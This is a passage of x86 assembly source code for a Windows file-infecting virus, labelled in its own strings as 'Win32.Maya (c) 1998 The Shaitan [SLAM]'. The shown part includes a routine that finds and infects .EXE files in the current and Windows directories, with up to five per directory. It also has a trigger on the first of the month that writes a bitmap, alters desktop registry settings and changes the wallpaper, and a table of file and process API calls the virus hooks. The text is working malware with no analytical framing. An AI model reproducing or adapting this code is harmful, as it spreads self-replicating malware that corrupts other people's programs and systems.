        je      ICAWD_end               ; Yes, Jump...

        call    InfectCurrentDirectory  ; Infect some files there

        mov     eax,offset currdir      ; Offset of ASCIIZ dir string
        add     eax,ebp                 ; Adjust with delta
        call    VxSetCurrentDirectory   ; Change to original directory

ICAWD_end:
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; InfectCurrentDirectory -
;----------------------------------------------------------------------------
InfectCurrentDirectory:
        push    ebp                     ; Save Delta
        mov     eax,offset wfd          ; WIN32_FIND_DATA structure
        add     eax,ebp                 ; Adjust with delta
        push    eax                     ; Push onto stack
        mov     eax,offset exe_match    ; Search for *.EXE
        add     eax,ebp                 ; Adjust with delta
        push    eax                     ; Push onto stack
        mov     eax,[_FindFirstFileA+ebp]; Address of API to call
        call    eax                     ; Call API
        pop     ebp                     ; Restore delta
        cmp     eax,0ffffffffh          ; No matching files found?
        je      icd_end                 ; Cannot continue...
        mov     [search_handle+ebp],eax ; Save search handle

        mov     edx,offset wfd.cFileName; Offset to ASCIIZ filename
        add     edx,ebp                 ; Adjust with delta pointer
        call    InfectFile              ; Infect da file

        cmp     [infect_success+ebp],1  ; Successful infection?
        jne     fnf_loop                ; No. Find next file to infect
        inc     [infect_counter+ebp]    ; Increment infection counter
        cmp     [infect_counter+ebp],5  ; Max no. of file infected?
        je      icd_end                 ; Yes. Quit...

fnf_loop:
        push    ebp                     ; Save delta pointer
        mov     eax,offset wfd          ; W32_FIND_DATA structure
        add     eax,ebp                 ; Adjust
        push    eax                     ; Push parametre onto stack
        push    [search_handle+ebp]     ; Push handle of search onto stack
        mov     eax,[_FindNextFileA+ebp]; API to call
        call    eax                     ; Find next file...
        pop     ebp                     ; Restore delta pointer
        cmp     eax,0                   ; File found?
        je      icd_end                 ; No. Quit...
        mov     edx,offset wfd.cFileName; ASCIIZ filename of found file
        add     edx,ebp                 ; Adjust with delta
        call    InfectFile              ; Infect it...
        cmp     [infect_success+ebp],1  ; Successful infection?
        jne     fnf_loop                ; Nope. Loop...
        inc     [infect_counter+ebp]    ; Increment counter
        cmp     [infect_counter+ebp],5  ; Max infections reached?
        je      icd_end                 ; Yeah. Quit..
        jmp     fnf_loop                ; Loop...
icd_end:
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; Payload -
;----------------------------------------------------------------------------
Payload:
        call    VxGetSystemTime         ; Get current date/time
        cmp     [st.wDay+ebp],1         ; Is it the 1st of any month?
        jne     payload_end             ; No. Don't activate payload...

        mov     eax,offset u32_string   ; USER32.DLL ASCIIZ string
        add     eax,ebp                 ; Adjust
        call    VxGetModuleHandle       ; Get base address of module
        cmp     eax,00000000h           ; Failed?
        je      payload_end             ; Yes. Don't continue...
        mov     [user32+ebp],eax        ; Save address of USER32.DLL

        mov     eax,offset a32_string   ; ADVAPI32.DLL ASCIIZ string
        add     eax,ebp                 ; Adjust
        call    VxGetModuleHandle       ; Get base address of module
        cmp     eax,00000000h           ; Failed?
        je      payload_end             ; Yes. Don't continue...
        mov     [advapi32+ebp],eax      ; Save address of ADVAPI32.DLL

        mov     edx,offset regopen_string; ASCIIZ "RegOpenKeyExA"
        add     edx,ebp                 ; Adjust
        mov     eax,[advapi32+ebp]      ; Base address of ADVAPI32.DLL
        call    VxGetProcAddress        ; Get address of API call
        cmp     eax,00000000h           ; Function failed?
        je      payload_end             ; Yes. Don't continue...
        mov     [_RegOpenKeyExA+ebp],eax; Save address of API function

        mov     edx,offset regset_string; ASCIIZ "RegSetValueExA"
        add     edx,ebp                 ; Adjust
        mov     eax,[advapi32+ebp]      ; Base address of ADVAPI32.DLL
        call    VxGetProcAddress        ; Get address of API call
        cmp     eax,00000000h           ; Function failed?
        je      payload_end             ; Yes. Don't continue...
        mov     [_RegSetValueExA+ebp],eax; Save address of API function

        mov     edx,offset msgbox_string; ASCIIZ "MessageBoxA"
        add     edx,ebp                 ; Adjust
        mov     eax,[user32+ebp]        ; Base address of USER32.DLL
        call    VxGetProcAddress        ; Get address of API call
        cmp     eax,00000000h           ; Function failed?
        je      payload_end             ; Yes. Don't continue...
        mov     [_MessageBoxA+ebp],eax  ; Save address of API function

        mov     edx,offset sysinf_string; ASCIIZ "SystemParametersInfoA"
        add     edx,ebp                 ; Adjust
        mov     eax,[user32+ebp]        ; Base address of USER32.DLL
        call    VxGetProcAddress        ; Get address of API call
        cmp     eax,00000000h           ; Function failed?
        je      payload_end             ; Yes. Don't continue...
        mov     [_SystemParametersInfoA+ebp],eax; Save address of API function

        push    00000000h               ; Handle to template file (?)
        push    FILE_ATTRIBUTE_NORMAL   ; File attributes
        push    CREATE_ALWAYS           ; Create new file
        push    00000000h               ; Security attributes
        push    FILE_SHARE_READ         ; Allow read access to others
        push    GENERIC_WRITE           ; Open for writing only
        mov     eax,offset wallpaper    ; ASCIIZ Filename ("SLAM.BMP")
        add     eax,ebp                 ; Adjust with delta
        push    eax                     ; Pass as parameter
        mov     eax,[_CreateFileA+ebp]  ; Address of API to call
        call    eax                     ; Call API
        cmp     eax,0ffffffffh          ; Error?
        je      payload_end             ; Yes. Don't continue
        mov     [bmp_handle+ebp],eax    ; Save opened file's handle

        push    00000000h               ; Overlapping (not supported)
        mov     eax,offset num_bytes_written; Actual no. of bytes written
        add     eax,ebp                 ; "     "       "       "       "
        push    eax                     ; "     "       "       "       "
        push    bmp_filesize            ; No. of bytes to write
        mov     eax,offset bmp_data_start; Start of BMP data buffer
        add     eax,ebp                 ; "     "       "       "       "
        push    eax                     ; "     "       "       "       "
        push    [bmp_handle+ebp]        ; Handle of opened file
        mov     eax,[_WriteFile+ebp]    ; Address of API to call
        call    eax                     ; Call API

        push    [bmp_handle+ebp]        ; Handle of opened file
        mov     eax,[_CloseHandle+ebp]  ; Address of API to call
        call    eax                     ; Call API
                                        
        mov     eax,offset phkey        ; Address of handle of open key 
        add     eax,ebp                 ; "     "       "       "       "
        push    eax                     ; "     "       "       "       "
        push    KEY_SET_VALUE           ; Security access mask 
        push    00000000h               ; Reserved (?)
        mov     eax,offset subkey       ; Address of name of subkey to open
        add     eax,ebp                 ; "     "       "       "       "
        push    eax                     ; "     "       "       "       "
        push    HKEY_CURRENT_USER       ; Handle of open key 
        mov     eax,[_RegOpenKeyExA+ebp]; Address of API to call
        call    eax                     ; Call API
                                        
        push    00000002h               ; Size of value data
        mov     eax,offset twp_data     ; Address of value data 
        add     eax,ebp                 ; "     "       "       "
        push    eax                     ; "     "       "       "
        push    REG_SZ                  ; Flag for value data
        push    00000000h               ; Reserved (?)
        mov     eax,offset twp_string   ; Address of value to set
        add     eax,ebp                 ; "     "       "       "
        push    eax                     ; "     "       "       "
        push    [phkey+ebp]             ; Handle of key to set value for
        mov     eax,[_RegSetValueExA+ebp]; Address of API to call
        call    eax                     ; Call API

        push    00000002h               ; Size of value data
        mov     eax,offset wps_data     ; Address of value data 
        add     eax,ebp                 ; "     "       "       "
        push    eax                     ; "     "       "       "
        push    REG_SZ                  ; Flag for value data
        push    00000000h               ; Reserved (?)
        mov     eax,offset wps_string   ; Address of value to set
        add     eax,ebp                 ; "     "       "       "
        push    eax                     ; "     "       "       "
        push    [phkey+ebp]             ; Handle of key to set value for
        mov     eax,[_RegSetValueExA+ebp]; Address of API to call
        call    eax                     ; Call API
                                        
        push    00000000h               ; User profile update flag
        mov     eax,offset wallpaper    ; ASCIIZ filename of .BMP file
        add     eax,ebp                 ; "     "       "       "       
        push    eax                     ; "     "       "       "
        push    00000000h               ; Not applicable here
        push    SPI_SETDESKWALLPAPER    ; System parameter to set
        mov     eax,[_SystemParametersInfoA+ebp]; Address of API to call
        call    eax                     ; Call API

        push    MB_ICONEXCLAMATION      ; Style of message box
        mov     eax,offset mbox_caption ; Address of msg box caption text
        add     eax,ebp                 ; "     "       "       "
        push    eax                     ; "     "       "       "
        mov     eax,offset mbox_text    ; Address of msg box body text
        add     eax,ebp                 ; "     "       "       "
        push    eax                     ; "     "       "       "
        push    00000000h               ; Handle of parent window
        mov     eax,[_MessageBoxA+ebp]  ; Address of API to call
        call    eax                     ; Call API

payload_end:
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; DATA - 
;----------------------------------------------------------------------------

kernel32        dd      0BFF70000h
module_base     dd      400000h                 

windir          db      128     dup     (?)     
currdir         db      128     dup     (?)     

st              SYSTEMTIME      ?

wfd             WIN32_FIND_DATA         ?
search_handle   dd      ?
exe_match       db      "*.EXE",0

ori_attrib      dd      ?

infect_success  dd      ?
infect_counter  dd      ?

AddressOfFunctions      dd      ?
AddressOfNames          dd      ?
AddressOfOrdinals       dd      ?

itd_va                  dd      ?
fsize_high              dd      ?

new_filesize            dd      ?
file_handle             dd      ?
map_handle              dd      ?
map_address             dd      ?
pe_header               dd      ?
last_entry              dd      ?
file_align              dd      ?
ori_eip                 dd      offset g1_quit - 400000h
new_eip                 dd      ?
tmp_eip                 dd      ?
size_rawdata            dd      ?

k32_string              db      "KERNEL32.dll",0
k32_string_len          equ     $ - offset k32_string

; API_NAME_STRUCT -
;
; DWORD   LengthOfAPIString
; BYTES   ASCIIZAPIString
; DWORD   APIAddress
;
api_names:

GMH_string_len          dd      offset _GetModuleHandleA - offset GMH_string
GMH_string              db      "GetModuleHandleA",0
_GetModuleHandleA       dd      ?

GPA_string_len          dd      offset _GetProcAddress - offset GPA_string
GPA_string              db      "GetProcAddress",0
_GetProcAddress         dd      ?

CFA_string_len          dd      offset _CreateFileA - offset CFA_string
CFA_string              db      "CreateFileA",0
_CreateFileA            dd      ?

WF_string_len           dd      offset _WriteFile - offset WF_string
WF_string               db      "WriteFile",0
_WriteFile              dd      ?

GFS_string_len          dd      offset _GetFileSize - offset GFS_string
GFS_string              db      "GetFileSize",0
_GetFileSize            dd      ?

CFM_string_len          dd      offset _CreateFileMappingA - offset CFM_string
CFM_string              db      "CreateFileMappingA",0
_CreateFileMappingA     dd      ?

MVOF_string_len         dd      offset _MapViewOfFile - offset MVOF_string
MVOF_string             db      "MapViewOfFile",0
_MapViewOfFile          dd      ?

UVOF_string_len         dd      offset _UnmapViewOfFile - offset UVOF_string
UVOF_string             db      "UnmapViewOfFile",0
_UnmapViewOfFile        dd      ?

CH_string_len           dd      offset _CloseHandle - offset CH_string
CH_string               db      "CloseHandle",0
_CloseHandle            dd      ?

FFFA_string_len         dd      offset _FindFirstFileA - offset FFFA_string
FFFA_string             db      "FindFirstFileA",0
_FindFirstFileA         dd      ?

FNFA_string_len         dd      offset _FindNextFileA - offset FNFA_string
FNFA_string             db      "FindNextFileA",0
_FindNextFileA          dd      ?

FC_string_len           dd      offset _FindClose - offset FC_string
FC_string               db      "FindClose",0
_FindClose              dd      ?

SFP_string_len          dd      offset _SetFilePointer - offset SFP_string
SFP_string              db      "SetFilePointer",0
_SetFilePointer         dd      ?

SEOF_string_len         dd      offset _SetEndOfFile - offset SEOF_string
SEOF_string             db      "SetEndOfFile",0
_SetEndOfFile           dd      ?

GCD_string_len          dd      offset _GetCurrentDirectoryA - offset GCD_string
GCD_string              db      "GetCurrentDirectoryA",0
_GetCurrentDirectoryA   dd      ?

SCD_string_len          dd      offset _SetCurrentDirectoryA - offset SCD_string
SCD_string              db      "SetCurrentDirectoryA",0
_SetCurrentDirectoryA   dd      ?

GFA_string_len          dd      offset _GetFileAttributesA - offset GFA_string
GFA_string              db      "GetFileAttributesA",0
_GetFileAttributesA     dd      ?

SFA_string_len          dd      offset _SetFileAttributesA - offset SFA_string
SFA_string              db      "SetFileAttributesA",0
_SetFileAttributesA     dd      ?

GST_string_len          dd      offset _GetSystemTime - offset GST_string
GST_string              db      "GetSystemTime",0
_GetSystemTime          dd      ?

GWD_string_len          dd      offset _GetWindowsDirectoryA - offset GWD_string
GWD_string              db      "GetWindowsDirectoryA",0
_GetWindowsDirectoryA   dd      ?

EndOfAPI_strings        dd      'MAYA'

;
; API calls that we will try to hook...
;
hookable_api:

MF_string_len           dd      offset _MoveFileA - offset MF_string
MF_string               db      "MoveFileA",0
_MoveFileA              dd      ?
MF_handler              dd      offset HookMoveFile

CFH_string_len          dd      offset _CopyFileA - offset CFH_string
CFH_string              db      "CopyFileA",0
_CopyFileA              dd      ?
CFH_handler             dd      offset HookCopyFile

CFILE_string_len        dd      offset _CreateFileHook - offset CFILE_string
CFILE_string            db      "CreateFileA",0
_CreateFileHook         dd      ?
CFILE_handler           dd      offset HookCreateFile

DF_string_len           dd      offset _DeleteFileA - offset DF_string
DF_string               db      "DeleteFileA",0
_DeleteFileA            dd      ?
DF_handler              dd      offset HookDeleteFile

SFAH_string_len         dd      offset _SetFileAttributesHook - offset SFAH_string
SFAH_string             db      "SetFileAttributesA",0
_SetFileAttributesHook  dd      ?
SFAH_handler            dd      offset HookSetFileAttributes

GFAH_string_len         dd      offset _GetFileAttributesHook - offset GFAH_string
GFAH_string             db      "GetFileAttributesA",0
_GetFileAttributesHook  dd      ?
GFAH_handler            dd      offset HookGetFileAttributes

GFPN_string_len         dd      offset _GetFullPathNameA - offset GFPN_string
GFPN_string             db      "GetFullPathNameA",0
_GetFullPathNameA       dd      ?
GFPN_handler            dd      offset HookGetFullPathName

CP_string_len           dd      offset _CreateProcessA - offset CP_string
CP_string               db      "CreateProcessA",0
_CreateProcessA         dd      ?
CP_handler              dd      offset HookCreateProcess

last_hook               dd      'SHAI'

; Data for the payload -
subkey                  db      "Control Panel\Desktop",0
phkey                   dd      ?
twp_data                db      "1",0
wps_data                db      "0",0
twp_string              db      "TileWallpaper",0
wps_string              db      "WallpaperStyle",0
wallpaper               db      "SLAM.BMP",0
bmp_handle              dd      ?
num_bytes_written       dd      ?

mbox_text               db      "Win32.Maya (c) 1998 The Shaitan [SLAM]",0
mbox_caption            db      "Virus Alert!",0

u32_string              db      "USER32.dll",0
a32_string              db      "ADVAPI32.dll",0
user32                  dd      ?
advapi32                dd      ?
shell32                 dd      ?

regopen_string          db      "RegOpenKeyExA",0
regset_string           db      "RegSetValueExA",0
msgbox_string           db      "MessageBoxA",0
sysinf_string           db      "SystemParametersInfoA",0
_RegOpenKeyExA          dd      ?
_RegSetValueExA         dd      ?
_MessageBoxA            dd      ?
_SystemParametersInfoA  dd      ?

; The BMP file data -
bmp_data_start:
db      42h,  4Dh,  0E6h, 00h,  00h,  00h,  00h,  00h
db      00h,  00h,  3Eh,  00h,  00h,  00h,  28h,  00h
db      00h,  00h,  3Ch,  00h,  00h,  00h,  15h,  00h
db      00h,  00h,  01h,  00h,  01h,  00h,  00h,  00h
db      00h,  00h,  0A8h, 00h,  00h,  00h,  0C4h, 0Eh
db      00h,  00h,  0C4h, 0Eh,  00h,  00h,  00h,  00h
db      00h,  00h,  00h,  00h,  00h,  00h,  00h,  00h
db      00h,  00h,  0FFh, 0FFh, 0FFh, 00h,  0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0E0h, 02h
db      00h,  83h,  0E2h, 0Eh,  3Ch,  70h,  0E0h, 02h
db      00h,  83h,  0E2h, 0Eh,  3Ch,  70h,  0E3h, 82h
db      0Fh,  83h,  0E2h, 0Eh,  3Ch,  70h,  0E3h, 82h
db      0Fh,  83h,  0E2h, 0Eh,  3Ch,  70h,  0E3h, 82h
db      0Fh,  80h,  02h,  0Eh,  3Ch,  70h,  0FFh, 82h
db      0Fh,  80h,  02h,  0Eh,  3Ch,  70h,  0E0h, 02h
db      1Fh,  0C3h, 86h,  1Eh,  3Ch,  70h,  0E0h, 02h
db      3Fh,  0E3h, 8Eh,  3Eh,  3Ch,  70h,  0E3h, 0FEh
db      3Fh,  0E3h, 8Eh,  3Eh,  3Ch,  70h,  0E3h, 0E2h
db      3Fh,  0E3h, 8Eh,  3Eh,  3Ch,  70h,  0E3h, 0E2h
db      3Fh,  0E3h, 8Eh,  3Eh,  3Ch,  70h,  0E3h, 0E2h
db      3Fh,  0E3h, 8Eh,  3Eh,  3Ch,  70h,  0E0h, 02h
db      3Fh,  0E0h, 0Eh,  00h,  00h,  70h,  0E0h, 02h
db      3Fh,  0E0h, 0Eh,  00h,  00h,  70h,  0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db      0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h
bmp_data_end:

code_end:

g1_quit:
        push    00000030h               ; MB_ICONEXCLAMATION
        push    offset mb_caption       ; Title of message box 
        push    offset mb_text          ; Text to display
        push    L 0                     ; Handle to parent (none)
        call    MessageBoxA             ; Display the message box

        push    L 0                     ; Return value
        call    ExitProcess             ; Exit to OS

mb_caption      db      "Virus Alert!",0
mb_text         db      "Win32.Maya (c) 1998 The Shaitan [SLAM]",0

ends
end code_start